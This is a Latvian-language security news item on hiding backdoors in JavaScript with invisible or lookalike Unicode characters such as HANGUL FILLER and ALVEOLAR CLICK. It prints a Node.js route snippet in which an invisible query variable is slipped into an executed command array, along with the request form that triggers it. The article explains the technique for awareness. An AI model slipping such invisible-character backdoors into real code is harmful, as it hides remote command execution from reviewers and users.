Neredzamo Unicode simbolu izmantošana darbību slēpšanai JavaScript kodā

Pēc Trojan Source uzbrukuma metodes, kas balstās uz Unicode simbolu izmantošanu, lai mainītu divvirziena teksta attēlošanas secību, ir publicēta vēl viena tehnika slēptu darbību ieviešanai JavaScript koda kontekstā. Jaunā metode balstās uz unicode simbolu „ㅤ” (kode 0x3164, „HANGUL FILLER”), kas pieder pie burtu kategorijas, bet tam nav redzama satura. Šis unicode simbols ir atļauts kopš ECMAScript 2015 specifikācijas izmantošanai JavaScript mainīgo nosaukumos, kas ļauj izveidot neredzamas mainīgās vai jaunas mainīgās, kuras nav atšķirīgas no citām populārajās koda redaktoru programmās, piemēram, Notepad++ un VS Code.

Kā piemērs tiek sniegts kods Node.js platformai, kurā, izmantojot mainīgo, kas sastāv no viena simbola „ㅤ”, ir slēpts aizmugures durvis, kas ļauj izpildīt norādīto uzbrucēja kodu: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // patiesībā ir norādīts „const { timeout,ㅤ \u3164}” const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // pēc komata seko simbols \u3164 ];

No pirma skatījuma šķiet, ka tiek nodota tikai timeout vērtība caur ārējo parametru, bet izpildāmo komandu masīvā ir nekaitīgs fiksēts saraksts. Tomēr patiesībā pēc mainīgā timeout tiek piešķirta vērtība vēl vienam neredzamajam mainīgajam ar simbolu kodu \u3164, kas arī tiek iekļauts izpildāmo komandu masīvā. Tādējādi, ja tāda struktūra ir pieejama, uzbrucējs var nosūtīt pieprasījumu formātā "https://host:8080/network_health?=komanda", lai aktivizētu aizmugures durvis un izpildītu savu kodu.

Kā vēl viens piemērs tiek sniegts simbols „ǃ” (ALVEOLAR CLICK), kas var tikt izmantots, lai radītu izskatu, ka norādītas izsaukuma zīmes. Piemēram, izteikums „if(environmentǃ=ENV_PROD){” izpildē Node.js 14 vienmēr būs paties, jo tajā netiek veikta atšķirības pārbaude, bet gan mainīgajam „environmentǃ” tiek piešķirta vērtība ENV_PROD. Starp maldinošiem unicode simboliem tiek atzīmēti arī „/”, „−”, „+”, „⩵”, „❨”, „⫽”, „꓿” un „∗”.

Avots: opennet.lv

Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem 🔥 Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem | ProHoster